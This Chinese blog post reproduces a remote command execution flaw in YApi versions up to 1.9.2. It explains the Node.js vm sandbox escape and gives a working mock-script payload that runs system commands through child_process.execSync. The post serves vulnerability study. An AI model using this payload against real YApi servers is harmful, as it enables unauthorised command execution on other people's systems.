当前位置:网站首页>漏洞复现----34、yapi 远程命令执行漏洞
漏洞复现----34、yapi 远程命令执行漏洞
2022-06-27 15:23:00 【七天啊】
Yapi官网地址:
http://yapi.smart-xwork.cn/
YAPI简介
YAPI是高效、易用、功能强大的API管理平台,旨在为开发、产品、测试人员提供更优雅的接口管理服务,提供基本的项目分组,项目管理,接口管理功能,友好的接口文档,基于websocket的多人协作接口编辑功能和类postman测试工具,让多人协作成倍提升开发效率,并且基于Mockjs,使用简单功能强大。
漏洞成因
攻击者通过注册用户,并使用 Mock 功能实现远程命令执行。命令执行的原理是 Node.js 通过 require('vm') 来构建沙箱环境,而攻击者可以通过原型链改变沙箱环境运行的上下文,从而达到沙箱逃逸的效果。通过 vm.runInNewContext("this.constructor.constructor('return process')()") 即可获得一个 process 对象。
影响版本:Yapi <= 1.9.2
漏洞复现
1、注册用户之后,新建项目
2、在设置 -> 全局mock脚本中添加恶意代码。
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("id;uname -a;pwd").toString()
3、添加接口
4、访问mock地址
边栏推荐
- American chips are hit hard again, and another chip enterprise after Intel will be overtaken by Chinese chips
- Talk about redis transactions
- Julia1.1 installation instructions
- 反射学习总结
- Pri3d: a representation learning method for 3D scene perception using inherent attributes of rgb-d data
- 请求一下子太多了,数据库危
- Is flutter easy to learn? How to learn? The most complete introduction and actual combat of flutter in history. Take it away without thanks~
- Pisa-Proxy 之 SQL 解析实践
- [OS command injection] common OS command execution functions and OS command injection utilization examples and range experiments - based on DVWA range
- Unity3d best practices: folder structure and source control
猜你喜欢

External memory

AutoCAD - line width setting

Atomic operation class

Great God developed the new H5 version of arXiv, saying goodbye to formula typography errors in one step, and the mobile phone can easily read literature
![[business security 03] password retrieval business security and interface parameter account modification examples (based on the metinfov4.0 platform)](/img/29/73c381f14a09ecaf36a98d67d76720.png)
[business security 03] password retrieval business security and interface parameter account modification examples (based on the metinfov4.0 platform)

Synchronized与锁升级

初识云原生安全:云时代的最佳保障

Integration of entry-level SSM framework based on XML configuration file

Redis master-slave replication, sentinel mode, cluster cluster

Web chat room system based on SSM
随机推荐
Unity3d best practices: folder structure and source control
Practice of constructing ten billion relationship knowledge map based on Nebula graph
隱私計算FATE-離線預測
[digital signal processing] discrete time signal (discrete time signal knowledge points | signal definition | signal classification | classification according to certainty | classification according t
Step by step expansion of variable parameters in class templates
Design and implementation of reading app based on Web Platform
Hyperledger Fabric 2. X custom smart contract
A brief analysis of the differences between domestic and foreign e-commerce
Principle Comparison and analysis of mechanical hard disk and SSD solid state disk
Sword finger offer II 039 Histogram maximum rectangular area monotonic stack
External memory
ThreadLocal之强、弱、軟、虛引用
[WUSTCTF2020]girlfriend
522. 最长特殊序列 II / 剑指 Offer II 101. 分割等和子集
Make a ThreadLocal (source code) that everyone can understand
[microservices sentinel] hotspot rules | authorization rules | cluster flow control | machine list
Experience sharing of mathematical modeling: comparison between China and USA / reference for topic selection / common skills
机械硬盘和ssd固态硬盘的原理对比分析
CAS之比较并交换
Tsinghua & Shangtang & Shanghai AI & CUHK proposed Siamese image modeling, which has both linear probing and intensive prediction performance



